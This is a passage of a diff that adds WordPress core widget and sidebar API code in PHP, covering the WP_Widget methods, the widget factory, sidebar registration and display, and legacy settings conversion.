+	function __construct( $id_base = false, $name, $widget_options = array(), $control_options = array() ) {
+		$this->id_base = empty($id_base) ? preg_replace( '/(wp_)?widget_/', '', strtolower(get_class($this)) ) : strtolower($id_base);
+		$this->name = $name;
+		$this->option_name = 'widget_' . $this->id_base;
+		$this->widget_options = wp_parse_args( $widget_options, array('classname' => $this->option_name) );
+		$this->control_options = wp_parse_args( $control_options, array('id_base' => $this->id_base) );
+	}
+
+	/**
+	 * Constructs name attributes for use in form() fields
+	 *
+	 * This function should be used in form() methods to create name attributes for fields to be saved by update()
+	 *
+	 * @param string $field_name Field name
+	 * @return string Name attribute for $field_name
+	 */
+	function get_field_name($field_name) {
+		return 'widget-' . $this->id_base . '[' . $this->number . '][' . $field_name . ']';
+	}
+
+	/**
+	 * Constructs id attributes for use in form() fields
+	 *
+	 * This function should be used in form() methods to create id attributes for fields to be saved by update()
+	 *
+	 * @param string $field_name Field name
+	 * @return string ID attribute for $field_name
+	 */
+	function get_field_id($field_name) {
+		return 'widget-' . $this->id_base . '-' . $this->number . '-' . $field_name;
+	}
+
+	// Private Functions. Don't worry about these.
+
+	function _register() {
+		$settings = $this->get_settings();
+
+		if ( empty($settings) ) {
+			// If there are none, we register the widget's existance with a
+			// generic template
+			$this->_set(1);
+			$this->_register_one();
+		} elseif ( is_array($settings) ) {
+			foreach ( array_keys($settings) as $number ) {
+				if ( is_numeric($number) ) {
+					$this->_set($number);
+					$this->_register_one($number);
+				}
+			}
+		}
+	}
+
+	function _set($number) {
+		$this->number = $number;
+		$this->id = $this->id_base . '-' . $number;
+	}
+
+	function _get_display_callback() {
+		return array(&$this, 'display_callback');
+	}
+
+	function _get_update_callback() {
+		return array(&$this, 'update_callback');
+	}
+
+	function _get_form_callback() {
+		return array(&$this, 'form_callback');
+	}
+
+	/** Generate the actual widget content.
+	 *	Just finds the instance and calls widget().
+	 *	Do NOT over-ride this function. */
+	function display_callback( $args, $widget_args = 1 ) {
+		if ( is_numeric($widget_args) )
+			$widget_args = array( 'number' => $widget_args );
+
+		$widget_args = wp_parse_args( $widget_args, array( 'number' => -1 ) );
+		$this->_set( $widget_args['number'] );
+		$instance = $this->get_settings();
+
+		if ( array_key_exists( $this->number, $instance ) ) {
+			$instance = $instance[$this->number];
+			// filters the widget's settings, return false to stop displaying the widget
+			$instance = apply_filters('widget_display_callback', $instance, $this, $args);
+			if ( false !== $instance )
+				$this->widget($args, $instance);
+		}
+	}
+
+	/** Deal with changed settings.
+	 *	Do NOT over-ride this function. */
+	function update_callback( $widget_args = 1 ) {
+		global $wp_registered_widgets;
+
+		if ( is_numeric($widget_args) )
+			$widget_args = array( 'number' => $widget_args );
+
+		$widget_args = wp_parse_args( $widget_args, array( 'number' => -1 ) );
+		$all_instances = $this->get_settings();
+
+		// We need to update the data
+		if ( $this->updated )
+			return;
+
+		$sidebars_widgets = wp_get_sidebars_widgets();
+
+		if ( isset($_POST['delete_widget']) && $_POST['delete_widget'] ) {
+			// Delete the settings for this instance of the widget
+			if ( isset($_POST['the-widget-id']) )
+				$del_id = $_POST['the-widget-id'];
+			else
+				return;
+
+			if ( isset($wp_registered_widgets[$del_id]['params'][0]['number']) ) {
+				$number = $wp_registered_widgets[$del_id]['params'][0]['number'];
+
+				if ( $this->id_base . '-' . $number == $del_id )
+					unset($all_instances[$number]);
+			}
+		} else {
+			if ( isset($_POST['widget-' . $this->id_base]) && is_array($_POST['widget-' . $this->id_base]) ) {
+				$settings = $_POST['widget-' . $this->id_base];
+			} elseif ( isset($_POST['id_base']) && $_POST['id_base'] == $this->id_base ) {
+				$num = $_POST['multi_number'] ? (int) $_POST['multi_number'] : (int) $_POST['widget_number'];
+				$settings = array( $num => array() );
+			} else {
+				return;
+			}
+
+			foreach ( $settings as $number => $new_instance ) {
+				$new_instance = stripslashes_deep($new_instance);
+				$this->_set($number);
+
+				$old_instance = isset($all_instances[$number]) ? $all_instances[$number] : array();
+
+				$instance = $this->update($new_instance, $old_instance);
+
+				// filters the widget's settings before saving, return false to cancel saving (keep the old settings if updating)
+				$instance = apply_filters('widget_update_callback', $instance, $new_instance, $old_instance, $this);
+				if ( false !== $instance )
+					$all_instances[$number] = $instance;
+
+				break; // run only once
+			}
+		}
+
+		$this->save_settings($all_instances);
+		$this->updated = true;
+	}
+
+	/** Generate the control form.
+	 *	Do NOT over-ride this function. */
+	function form_callback( $widget_args = 1 ) {
+		if ( is_numeric($widget_args) )
+			$widget_args = array( 'number' => $widget_args );
+
+		$widget_args = wp_parse_args( $widget_args, array( 'number' => -1 ) );
+		$all_instances = $this->get_settings();
+
+		if ( -1 == $widget_args['number'] ) {
+			// We echo out a form where 'number' can be set later
+			$this->_set('__i__');
+			$instance = array();
+		} else {
+			$this->_set($widget_args['number']);
+			$instance = $all_instances[ $widget_args['number'] ];
+		}
+
+		// filters the widget admin form before displaying, return false to stop displaying it
+		$instance = apply_filters('widget_form_callback', $instance, $this);
+
+		$return = null;
+		if ( false !== $instance ) {
+			$return = $this->form($instance);
+			// add extra fields in the widget form - be sure to set $return to null if you add any
+			// if the widget has no form the text echoed from the default form method can be hidden using css
+			do_action_ref_array( 'in_widget_form', array(&$this, &$return, $instance) );
+		}
+		return $return;
+	}
+
+	/** Helper function: Registers a single instance. */
+	function _register_one($number = -1) {
+		wp_register_sidebar_widget(	$this->id, $this->name,	$this->_get_display_callback(), $this->widget_options, array( 'number' => $number ) );
+		_register_widget_update_callback( $this->id_base, $this->_get_update_callback(), $this->control_options, array( 'number' => -1 ) );
+		_register_widget_form_callback(	$this->id, $this->name,	$this->_get_form_callback(), $this->control_options, array( 'number' => $number ) );
+	}
+
+	function save_settings($settings) {
+		$settings['_multiwidget'] = 1;
+		update_option( $this->option_name, $settings );
+	}
+
+	function get_settings() {
+		$settings = get_option($this->option_name);
+
+		if ( false === $settings && isset($this->alt_option_name) )
+			$settings = get_option($this->alt_option_name);
+
+		if ( !is_array($settings) )
+			$settings = array();
+
+		if ( !array_key_exists('_multiwidget', $settings) ) {
+			// old format, conver if single widget
+			$settings = wp_convert_widget_settings($this->id_base, $this->option_name, $settings);
+		}
+
+		unset($settings['_multiwidget'], $settings['__i__']);
+		return $settings;
+	}
+}
+
+/**
+ * Singleton that registers and instantiates WP_Widget classes.
+ *
+ * @package WordPress
+ * @subpackage Widgets
+ * @since 2.8
+ */
+class WP_Widget_Factory {
+	var $widgets = array();
+
+	function WP_Widget_Factory() {
+		add_action( 'widgets_init', array( &$this, '_register_widgets' ), 100 );
+	}
+
+	function register($widget_class) {
+		$this->widgets[$widget_class] = & new $widget_class();
+	}
+
+	function unregister($widget_class) {
+		if ( isset($this->widgets[$widget_class]) )
+			unset($this->widgets[$widget_class]);
+	}
+
+	function _register_widgets() {
+		global $wp_registered_widgets;
+		$keys = array_keys($this->widgets);
+		$registered = array_keys($wp_registered_widgets);
+		$registered = array_map('_get_widget_id_base', $registered);
+
+		foreach ( $keys as $key ) {
+			// don't register new widget if old widget with the same id is already registered
+			if ( in_array($this->widgets[$key]->id_base, $registered, true) ) {
+				unset($this->widgets[$key]);
+				continue;
+			}
+
+			$this->widgets[$key]->_register();
+		}
+	}
+}
+
+/* Global Variables */
+
+/** @ignore */
+global $wp_registered_sidebars, $wp_registered_widgets, $wp_registered_widget_controls, $wp_registered_widget_updates;
+
+/**
+ * Stores the sidebars, since many themes can have more than one.
+ *
+ * @global array $wp_registered_sidebars
+ * @since 2.2.0
+ */
+$wp_registered_sidebars = array();
+
+/**
+ * Stores the registered widgets.
+ *
+ * @global array $wp_registered_widgets
+ * @since 2.2.0
+ */
+$wp_registered_widgets = array();
+
+/**
+ * Stores the registered widget control (options).
+ *
+ * @global array $wp_registered_widget_controls
+ * @since 2.2.0
+ */
+$wp_registered_widget_controls = array();
+$wp_registered_widget_updates = array();
+
+/**
+ * Private
+ */
+$_wp_sidebars_widgets = array();
+
+/**
+ * Private
+ */
+ $_wp_deprecated_widgets_callbacks = array(
+ 	'wp_widget_pages',
+	'wp_widget_pages_control',
+	'wp_widget_calendar',
+	'wp_widget_calendar_control',
+	'wp_widget_archives',
+	'wp_widget_archives_control',
+	'wp_widget_links',
+	'wp_widget_meta',
+	'wp_widget_meta_control',
+	'wp_widget_search',
+	'wp_widget_recent_entries',
+	'wp_widget_recent_entries_control',
+	'wp_widget_tag_cloud',
+	'wp_widget_tag_cloud_control',
+	'wp_widget_categories',
+	'wp_widget_categories_control',
+	'wp_widget_text',
+	'wp_widget_text_control',
+	'wp_widget_rss',
+	'wp_widget_rss_control',
+	'wp_widget_recent_comments',
+	'wp_widget_recent_comments_control'
+ );
+
+/* Template tags & API functions */
+
+/**
+ * Register a widget
+ *
+ * Registers a WP_Widget widget
+ *
+ * @since 2.8.0
+ *
+ * @see WP_Widget
+ * @see WP_Widget_Factory
+ * @uses WP_Widget_Factory
+ *
+ * @param string $widget_class The name of a class that extends WP_Widget
+ */
+function register_widget($widget_class) {
+	global $wp_widget_factory;
+
+	$wp_widget_factory->register($widget_class);
+}
+
+/**
+ * Unregister a widget
+ *
+ * Unregisters a WP_Widget widget. Useful for unregistering default widgets.
+ * Run within a function hooked to the widgets_init action.
+ *
+ * @since 2.8.0
+ *
+ * @see WP_Widget
+ * @see WP_Widget_Factory
+ * @uses WP_Widget_Factory
+ *
+ * @param string $widget_class The name of a class that extends WP_Widget
+ */
+function unregister_widget($widget_class) {
+	global $wp_widget_factory;
+
+	$wp_widget_factory->unregister($widget_class);
+}
+
+/**
+ * Creates multiple sidebars.
+ *
+ * If you wanted to quickly create multiple sidebars for a theme or internally.
+ * This function will allow you to do so. If you don't pass the 'name' and/or
+ * 'id' in $args, then they will be built for you.
+ *
+ * The default for the name is "Sidebar #", with '#' being replaced with the
+ * number the sidebar is currently when greater than one. If first sidebar, the
+ * name will be just "Sidebar". The default for id is "sidebar-" followed by the
+ * number the sidebar creation is currently at.
+ *
+ * @since 2.2.0
+ *
+ * @see register_sidebar() The second parameter is documented by register_sidebar() and is the same here.
+ * @uses parse_str() Converts a string to an array to be used in the rest of the function.
+ * @uses register_sidebar() Sends single sidebar information [name, id] to this
+ *	function to handle building the sidebar.
+ *
+ * @param int $number Number of sidebars to create.
+ * @param string|array $args Builds Sidebar based off of 'name' and 'id' values.
+ */
+function register_sidebars($number = 1, $args = array()) {
+	global $wp_registered_sidebars;
+	$number = (int) $number;
+
+	if ( is_string($args) )
+		parse_str($args, $args);
+
+	for ( $i=1; $i <= $number; $i++ ) {
+		$_args = $args;
+
+		if ( $number > 1 ) {
+			$_args['name'] = isset($args['name']) ? sprintf($args['name'], $i) : sprintf(__('Sidebar %d'), $i);
+		} else {
+			$_args['name'] = isset($args['name']) ? $args['name'] : __('Sidebar');
+		}
+
+		if (isset($args['id'])) {
+			$_args['id'] = $args['id'];
+		} else {
+			$n = count($wp_registered_sidebars);
+			do {
+				$n++;
+				$_args['id'] = "sidebar-$n";
+			} while (isset($wp_registered_sidebars[$_args['id']]));
+		}
+
+		register_sidebar($_args);
+	}
+}
+
+/**
+ * Builds the definition for a single sidebar and returns the ID.
+ *
+ * The $args parameter takes either a string or an array with 'name' and 'id'
+ * contained in either usage. It will be noted that the values will be applied
+ * to all sidebars, so if creating more than one, it will be advised to allow
+ * for WordPress to create the defaults for you.
+ *
+ * Example for string would be <code>'name=whatever;id=whatever1'</code> and for
+ * the array it would be <code>array(
+ *    'name' => 'whatever',
+ *    'id' => 'whatever1')</code>.
+ *
+ * name - The name of the sidebar, which presumably the title which will be
+ *     displayed.
+ * id - The unique identifier by which the sidebar will be called by.
+ * before_widget - The content that will prepended to the widgets when they are
+ *     displayed.
+ * after_widget - The content that will be appended to the widgets when they are
+ *     displayed.
+ * before_title - The content that will be prepended to the title when displayed.
+ * after_title - the content that will be appended to the title when displayed.
+ *
+ * <em>Content</em> is assumed to be HTML and should be formatted as such, but
+ * doesn't have to be.
+ *
+ * @since 2.2.0
+ * @uses $wp_registered_sidebars Stores the new sidebar in this array by sidebar ID.
+ * @uses parse_str() Converts a string to an array to be used in the rest of the function.
+ * @usedby register_sidebars()
+ *
+ * @param string|array $args Builds Sidebar based off of 'name' and 'id' values
+ * @return string The sidebar id that was added.
+ */
+function register_sidebar($args = array()) {
+	global $wp_registered_sidebars;
+
+	if ( is_string($args) )
+		parse_str($args, $args);
+
+	$i = count($wp_registered_sidebars) + 1;
+
+	$defaults = array(
+		'name' => sprintf(__('Sidebar %d'), $i ),
+		'id' => "sidebar-$i",
+		'before_widget' => '<li id="%1$s" class="widget %2$s">',
+		'after_widget' => "</li>\n",
+		'before_title' => '<h2 class="widgettitle">',
+		'after_title' => "</h2>\n",
+	);
+
+	$sidebar = array_merge($defaults, (array) $args);
+
+	$wp_registered_sidebars[$sidebar['id']] = $sidebar;
+
+	return $sidebar['id'];
+}
+
+/**
+ * Removes a sidebar from the list.
+ *
+ * @since 2.2.0
+ *
+ * @uses $wp_registered_sidebars Stores the new sidebar in this array by sidebar ID.
+ *
+ * @param string $name The ID of the sidebar when it was added.
+ */
+function unregister_sidebar( $name ) {
+	global $wp_registered_sidebars;
+
+	if ( isset( $wp_registered_sidebars[$name] ) )
+		unset( $wp_registered_sidebars[$name] );
+}
+
+/**
+ * Register widget for use in sidebars.
+ *
+ * The default widget option is 'classname' that can be override.
+ *
+ * The function can also be used to unregister widgets when $output_callback
+ * parameter is an empty string.
+ *
+ * @since 2.2.0
+ *
+ * @uses $wp_registered_widgets Uses stored registered widgets.
+ * @uses $wp_register_widget_defaults Retrieves widget defaults.
+ *
+ * @param int|string $id Widget ID.
+ * @param string $name Widget display title.
+ * @param callback $output_callback Run when widget is called.
+ * @param array|string Optional. $options Widget Options.
+ * @param mixed $params,... Widget parameters to add to widget.
+ * @return null Will return if $output_callback is empty after removing widget.
+ */
+function wp_register_sidebar_widget($id, $name, $output_callback, $options = array()) {
+	global $wp_registered_widgets, $wp_registered_widget_controls, $wp_registered_widget_updates, $_wp_deprecated_widgets_callbacks;
+
+	$id = strtolower($id);
+
+	if ( empty($output_callback) ) {
+		unset($wp_registered_widgets[$id]);
+		return;
+	}
+
+	$id_base = _get_widget_id_base($id);
+	if ( in_array($output_callback, $_wp_deprecated_widgets_callbacks, true) && !is_callable($output_callback) ) {
+		if ( isset($wp_registered_widget_controls[$id]) )
+			unset($wp_registered_widget_controls[$id]);
+
+		if ( isset($wp_registered_widget_updates[$id_base]) )
+			unset($wp_registered_widget_updates[$id_base]);
+
+		return;
+	}
+
+	$defaults = array('classname' => $output_callback);
+	$options = wp_parse_args($options, $defaults);
+	$widget = array(
+		'name' => $name,
+		'id' => $id,
+		'callback' => $output_callback,
+		'params' => array_slice(func_get_args(), 4)
+	);
+	$widget = array_merge($widget, $options);
+
+	if ( is_callable($output_callback) && ( !isset($wp_registered_widgets[$id]) || did_action( 'widgets_init' ) ) )
+		$wp_registered_widgets[$id] = $widget;
+}
+
+/**
+ * Retrieve description for widget.
+ *
+ * When registering widgets, the options can also include 'description' that
+ * describes the widget for display on the widget administration panel or
+ * in the theme.
+ *
+ * @since 2.5.0
+ *
+ * @param int|string $id Widget ID.
+ * @return string Widget description, if available. Null on failure to retrieve description.
+ */
+function wp_widget_description( $id ) {
+	if ( !is_scalar($id) )
+		return;
+
+	global $wp_registered_widgets;
+
+	if ( isset($wp_registered_widgets[$id]['description']) )
+		return esc_html( $wp_registered_widgets[$id]['description'] );
+}
+
+/**
+ * Remove widget from sidebar.
+ *
+ * @since 2.2.0
+ *
+ * @param int|string $id Widget ID.
+ */
+function wp_unregister_sidebar_widget($id) {
+	wp_register_sidebar_widget($id, '', '');
+	wp_unregister_widget_control($id);
+}
+
+/**
+ * Registers widget control callback for customizing options.
+ *
+ * The options contains the 'height', 'width', and 'id_base' keys. The 'height'
+ * option is never used. The 'width' option is the width of the fully expanded
+ * control form, but try hard to use the default width. The 'id_base' is for
+ * multi-widgets (widgets which allow multiple instances such as the text
+ * widget), an id_base must be provided. The widget id will end up looking like
+ * {$id_base}-{$unique_number}.
+ *
+ * @since 2.2.0
+ *
+ * @param int|string $id Sidebar ID.
+ * @param string $name Sidebar display name.
+ * @param callback $control_callback Run when sidebar is displayed.
+ * @param array|string $options Optional. Widget options. See above long description.
+ * @param mixed $params,... Optional. Additional parameters to add to widget.
+ */
+function wp_register_widget_control($id, $name, $control_callback, $options = array()) {
+	global $wp_registered_widget_controls, $wp_registered_widget_updates, $wp_registered_widgets, $_wp_deprecated_widgets_callbacks;
+
+	$id = strtolower($id);
+	$id_base = _get_widget_id_base($id);
+
+	if ( empty($control_callback) ) {
+		unset($wp_registered_widget_controls[$id]);
+		unset($wp_registered_widget_updates[$id_base]);
+		return;
+	}
+
+	if ( in_array($control_callback, $_wp_deprecated_widgets_callbacks, true) && !is_callable($control_callback) ) {
+		if ( isset($wp_registered_widgets[$id]) )
+			unset($wp_registered_widgets[$id]);
+
+		return;
+	}
+
+	if ( isset($wp_registered_widget_controls[$id]) && !did_action( 'widgets_init' ) )
+		return;
+
+	$defaults = array('width' => 250, 'height' => 200 ); // height is never used
+	$options = wp_parse_args($options, $defaults);
+	$options['width'] = (int) $options['width'];
+	$options['height'] = (int) $options['height'];
+
+	$widget = array(
+		'name' => $name,
+		'id' => $id,
+		'callback' => $control_callback,
+		'params' => array_slice(func_get_args(), 4)
+	);
+	$widget = array_merge($widget, $options);
+
+	$wp_registered_widget_controls[$id] = $widget;
+
+	if ( isset($wp_registered_widget_updates[$id_base]) )
+		return;
+
+	if ( isset($widget['params'][0]['number']) )
+		$widget['params'][0]['number'] = -1;
+
+	unset($widget['width'], $widget['height'], $widget['name'], $widget['id']);
+	$wp_registered_widget_updates[$id_base] = $widget;
+}
+
+function _register_widget_update_callback($id_base, $update_callback, $options = array()) {
+	global $wp_registered_widget_updates;
+
+	if ( isset($wp_registered_widget_updates[$id_base]) ) {
+		if ( empty($update_callback) )
+			unset($wp_registered_widget_updates[$id_base]);
+		return;
+	}
+
+	$widget = array(
+		'callback' => $update_callback,
+		'params' => array_slice(func_get_args(), 3)
+	);
+
+	$widget = array_merge($widget, $options);
+	$wp_registered_widget_updates[$id_base] = $widget;
+}
+
+function _register_widget_form_callback($id, $name, $form_callback, $options = array()) {
+	global $wp_registered_widget_controls;
+
+	$id = strtolower($id);
+
+	if ( empty($form_callback) ) {
+		unset($wp_registered_widget_controls[$id]);
+		return;
+	}
+
+	if ( isset($wp_registered_widget_controls[$id]) && !did_action( 'widgets_init' ) )
+		return;
+
+	$defaults = array('width' => 250, 'height' => 200 );
+	$options = wp_parse_args($options, $defaults);
+	$options['width'] = (int) $options['width'];
+	$options['height'] = (int) $options['height'];
+
+	$widget = array(
+		'name' => $name,
+		'id' => $id,
+		'callback' => $form_callback,
+		'params' => array_slice(func_get_args(), 4)
+	);
+	$widget = array_merge($widget, $options);
+
+	$wp_registered_widget_controls[$id] = $widget;
+}
+
+/**
+ * Remove control callback for widget.
+ *
+ * @since 2.2.0
+ * @uses wp_register_widget_control() Unregisters by using empty callback.
+ *
+ * @param int|string $id Widget ID.
+ */
+function wp_unregister_widget_control($id) {
+	return wp_register_widget_control($id, '', '');
+}
+
+/**
+ * Display dynamic sidebar.
+ *
+ * By default it displays the default sidebar or 'sidebar-1'. The 'sidebar-1' is
+ * not named by the theme, the actual name is '1', but 'sidebar-' is added to
+ * the registered sidebars for the name. If you named your sidebar 'after-post',
+ * then the parameter $index will still be 'after-post', but the lookup will be
+ * for 'sidebar-after-post'.
+ *
+ * It is confusing for the $index parameter, but just know that it should just
+ * work. When you register the sidebar in the theme, you will use the same name
+ * for this function or "Pay no heed to the man behind the curtain." Just accept
+ * it as an oddity of WordPress sidebar register and display.
+ *
+ * @since 2.2.0
+ *
+ * @param int|string $index Optional, default is 1. Name or ID of dynamic sidebar.
+ * @return bool True, if widget sidebar was found and called. False if not found or not called.
+ */
+function dynamic_sidebar($index = 1) {
+	global $wp_registered_sidebars, $wp_registered_widgets;
+
+	if ( is_int($index) ) {
+		$index = "sidebar-$index";
+	} else {
+		$index = sanitize_title($index);
+		foreach ( (array) $wp_registered_sidebars as $key => $value ) {
+			if ( sanitize_title($value['name']) == $index ) {
+				$index = $key;
+				break;
+			}
+		}
+	}
+
+	$sidebars_widgets = wp_get_sidebars_widgets();
+
+	if ( empty($wp_registered_sidebars[$index]) || !array_key_exists($index, $sidebars_widgets) || !is_array($sidebars_widgets[$index]) || empty($sidebars_widgets[$index]) )
+		return false;
+
+	$sidebar = $wp_registered_sidebars[$index];
+
+	$did_one = false;
+	foreach ( (array) $sidebars_widgets[$index] as $id ) {
+
+		if ( !isset($wp_registered_widgets[$id]) ) continue;
+
+		$params = array_merge(
+			array( array_merge( $sidebar, array('widget_id' => $id, 'widget_name' => $wp_registered_widgets[$id]['name']) ) ),
+			(array) $wp_registered_widgets[$id]['params']
+		);
+
+		// Substitute HTML id and class attributes into before_widget
+		$classname_ = '';
+		foreach ( (array) $wp_registered_widgets[$id]['classname'] as $cn ) {
+			if ( is_string($cn) )
+				$classname_ .= '_' . $cn;
+			elseif ( is_object($cn) )
+				$classname_ .= '_' . get_class($cn);
+		}
+		$classname_ = ltrim($classname_, '_');
+		$params[0]['before_widget'] = sprintf($params[0]['before_widget'], $id, $classname_);
+
+		$params = apply_filters( 'dynamic_sidebar_params', $params );
+
+		$callback = $wp_registered_widgets[$id]['callback'];
+
+		if ( is_callable($callback) ) {
+			call_user_func_array($callback, $params);
+			$did_one = true;
+		}
+	}
+
+	return $did_one;
+}
+
+/**
+ * Whether widget is displayied on the front-end.
+ *
+ * Either $callback or $id_base can be used
+ * $id_base is the first argument when extending WP_Widget class
+ * Without the optional $widget_id parameter, returns the ID of the first sidebar
+ * in which the first instance of the widget with the given callback or $id_base is found.
+ * With the $widget_id parameter, returns the ID of the sidebar where
+ * the widget with that callback/$id_base AND that ID is found.
+ *
+ * NOTE: $widget_id and $id_base are the same for single widgets. To be effective
+ * this function has to run after widgets have initialized, at action 'init' or later.
+ *
+ * @since 2.2.0
+ *
+ * @param callback Optional, Widget callback to check.
+ * @param int $widget_id Optional, but needed for checking. Widget ID.
+ * @param string $id_base Optional, the base ID of a widget created by extending WP_Widget.
+ * @param bool $skip_inactive Optional, whether to check in 'wp_inactive_widgets'.
+ * @return mixed false if widget is not active or id of sidebar in which the widget is active.
+ */
+function is_active_widget($callback = false, $widget_id = false, $id_base = false, $skip_inactive = true) {
+	global $wp_registered_widgets;
+
+	$sidebars_widgets = wp_get_sidebars_widgets();
+
+	if ( is_array($sidebars_widgets) ) {
+		foreach ( $sidebars_widgets as $sidebar => $widgets ) {
+			if ( $skip_inactive && 'wp_inactive_widgets' == $sidebar )
+				continue;
+
+			if ( is_array($widgets) ) {
+				foreach ( $widgets as $widget ) {
+					if ( ( $callback && isset($wp_registered_widgets[$widget]['callback']) && $wp_registered_widgets[$widget]['callback'] == $callback ) || ( $id_base && _get_widget_id_base($widget) == $id_base ) ) {
+						if ( !$widget_id || $widget_id == $wp_registered_widgets[$widget]['id'] )
+							return $sidebar;
+					}
+				}
+			}
+		}
+	}
+	return false;
+}
+
+/**
+ * Whether the dynamic sidebar is enabled and used by theme.
+ *
+ * @since 2.2.0
+ *
+ * @return bool True, if using widgets. False, if not using widgets.
+ */
+function is_dynamic_sidebar() {
+	global $wp_registered_widgets, $wp_registered_sidebars;
+	$sidebars_widgets = get_option('sidebars_widgets');
+	foreach ( (array) $wp_registered_sidebars as $index => $sidebar ) {
+		if ( count($sidebars_widgets[$index]) ) {
+			foreach ( (array) $sidebars_widgets[$index] as $widget )
+				if ( array_key_exists($widget, $wp_registered_widgets) )
+					return true;
+		}
+	}
+	return false;
+}
+
+/**
+ * Whether a sidebar is in use.
+ *
+ * @since 2.8
+ *
+ * @param mixed $index, sidebar name, id or number to check.
+ * @return bool true if the sidebar is in use, false otherwise.
+ */
+function is_active_sidebar( $index ) {
+	$index = ( is_int($index) ) ? "sidebar-$index" : sanitize_title($index);
+	$sidebars_widgets = wp_get_sidebars_widgets();
+	if ( isset($sidebars_widgets[$index]) && !empty($sidebars_widgets[$index]) )
+		return true;
+
+	return false;
+}
+
+/* Internal Functions */
+
+/**
+ * Retrieve full list of sidebars and their widgets.
+ *
+ * Will upgrade sidebar widget list, if needed. Will also save updated list, if
+ * needed.
+ *
+ * @since 2.2.0
+ * @access private
+ *
+ * @param bool $update Optional, deprecated.
+ * @return array Upgraded list of widgets to version 3 array format when called from the admin.
+ */
+function wp_get_sidebars_widgets($deprecated = true) {
+	global $wp_registered_widgets, $wp_registered_sidebars, $_wp_sidebars_widgets;
+
+	// If loading from front page, consult $_wp_sidebars_widgets rather than options
+	// to see if wp_convert_widget_settings() has made manipulations in memory.
+	if ( !is_admin() ) {
+		if ( empty($_wp_sidebars_widgets) )
+			$_wp_sidebars_widgets = get_option('sidebars_widgets', array());
+
+		$sidebars_widgets = $_wp_sidebars_widgets;
+	} else {
+		$sidebars_widgets = get_option('sidebars_widgets', array());
+		$_sidebars_widgets = array();
+
+		if ( isset($sidebars_widgets['wp_inactive_widgets']) )
+			$sidebars_widgets['array_version'] = 3;
+		elseif ( !isset($sidebars_widgets['array_version']) )
+			$sidebars_widgets['array_version'] = 1;
+
+		switch ( $sidebars_widgets['array_version'] ) {
+			case 1 :
+				foreach ( (array) $sidebars_widgets as $index => $sidebar )
+				if ( is_array($sidebar) )
+				foreach ( (array) $sidebar as $i => $name ) {
+					$id = strtolower($name);
+					if ( isset($wp_registered_widgets[$id]) ) {
+						$_sidebars_widgets[$index][$i] = $id;
+						continue;
+					}
+					$id = sanitize_title($name);
+					if ( isset($wp_registered_widgets[$id]) ) {
+						$_sidebars_widgets[$index][$i] = $id;
+						continue;
+					}
+
+					$found = false;
+
+					foreach ( $wp_registered_widgets as $widget_id => $widget ) {
+						if ( strtolower($widget['name']) == strtolower($name) ) {
+							$_sidebars_widgets[$index][$i] = $widget['id'];
+							$found = true;
+							break;
+						} elseif ( sanitize_title($widget['name']) == sanitize_title($name) ) {
+							$_sidebars_widgets[$index][$i] = $widget['id'];
+							$found = true;
+							break;
+						}
+					}
+
+					if ( $found )
+						continue;
+
+					unset($_sidebars_widgets[$index][$i]);
+				}
+				$_sidebars_widgets['array_version'] = 2;
+				$sidebars_widgets = $_sidebars_widgets;
+				unset($_sidebars_widgets);
+
+			case 2 :
+				$sidebars = array_keys( $wp_registered_sidebars );
+				if ( !empty( $sidebars ) ) {
+					// Move the known-good ones first
+					foreach ( (array) $sidebars as $id ) {
+						if ( array_key_exists( $id, $sidebars_widgets ) ) {
+							$_sidebars_widgets[$id] = $sidebars_widgets[$id];
+							unset($sidebars_widgets[$id], $sidebars[$id]);
+						}
+					}
+
+					// move the rest to wp_inactive_widgets
+					if ( !isset($_sidebars_widgets['wp_inactive_widgets']) )
+						$_sidebars_widgets['wp_inactive_widgets'] = array();
+
+					if ( !empty($sidebars_widgets) ) {
+						foreach ( $sidebars_widgets as $lost => $val ) {
+							if ( is_array($val) )
+								$_sidebars_widgets['wp_inactive_widgets'] = array_merge( (array) $_sidebars_widgets['wp_inactive_widgets'], $val );
+						}
+					}
+
+					$sidebars_widgets = $_sidebars_widgets;
+					unset($_sidebars_widgets);
+				}
+		}
+	}
+
+	if ( isset($sidebars_widgets['array_version']) )
+		unset($sidebars_widgets['array_version']);
+
+	$sidebars_widgets = apply_filters('sidebars_widgets', $sidebars_widgets);
+	return $sidebars_widgets;
+}
+
+/**
+ * Set the sidebar widget option to update sidebars.
+ *
+ * @since 2.2.0
+ * @access private
+ *
+ * @param array $sidebars_widgets Sidebar widgets and their settings.
+ */
+function wp_set_sidebars_widgets( $sidebars_widgets ) {
+	if ( !isset( $sidebars_widgets['array_version'] ) )
+		$sidebars_widgets['array_version'] = 3;
+	update_option( 'sidebars_widgets', $sidebars_widgets );
+}
+
+/**
+ * Retrieve default registered sidebars list.
+ *
+ * @since 2.2.0
+ * @access private
+ *
+ * @return array
+ */
+function wp_get_widget_defaults() {
+	global $wp_registered_sidebars;
+
+	$defaults = array();
+
+	foreach ( (array) $wp_registered_sidebars as $index => $sidebar )
+		$defaults[$index] = array();
+
+	return $defaults;
+}
+
+/**
+ * Convert the widget settings from single to multi-widget format.
+ *
+ * @since 2.8.0
+ *
+ * @return array
+ */
+function wp_convert_widget_settings($base_name, $option_name, $settings) {
+	// This test may need expanding.
+	$single = $changed = false;
+	if ( empty($settings) ) {
+		$single = true;
+	} else {
+		foreach ( array_keys($settings) as $number ) {
+			if ( 'number' == $number )
+				continue;
+			if ( !is_numeric($number) ) {
+				$single = true;
+				break;
+			}
+		}
+	}
+
+	if ( $single ) {
+		$settings = array( 2 => $settings );
+
+		// If loading from the front page, update sidebar in memory but don't save to options
+		if ( is_admin() ) {
+			$sidebars_widgets = get_option('sidebars_widgets');
+		} else {
+			if ( empty($GLOBALS['_wp_sidebars_widgets']) )
+				$GLOBALS['_wp_sidebars_widgets'] = get_option('sidebars_widgets', array());
+			$sidebars_widgets = &$GLOBALS['_wp_sidebars_widgets'];
+		}
+
+		foreach ( (array) $sidebars_widgets as $index => $sidebar ) {
+			if ( is_array($sidebar) ) {
+				foreach ( $sidebar as $i => $name ) {
+					if ( $base_name == $name ) {
+						$sidebars_widgets[$index][$i] = "$name-2";
+						$changed = true;
+						break 2;
+					}
+				}
+			}
+		}
+
+		if ( is_admin() && $changed )
+			update_option('sidebars_widgets', $sidebars_widgets);
+	}
+
+	$settings['_multiwidget'] = 1;
+	if ( is_admin() )
+		update_option( $option_name, $settings );
+
+	return $settings;
+}
+
+/**
+ * Deprecated API
+ */
+
+/**
+ * Register widget for sidebar with backwards compatibility.
+ *
+ * Allows $name to be an array that accepts either three elements to grab the
+ * first element and the third for the name or just uses the first element of
+ * the array for the name.
+ *
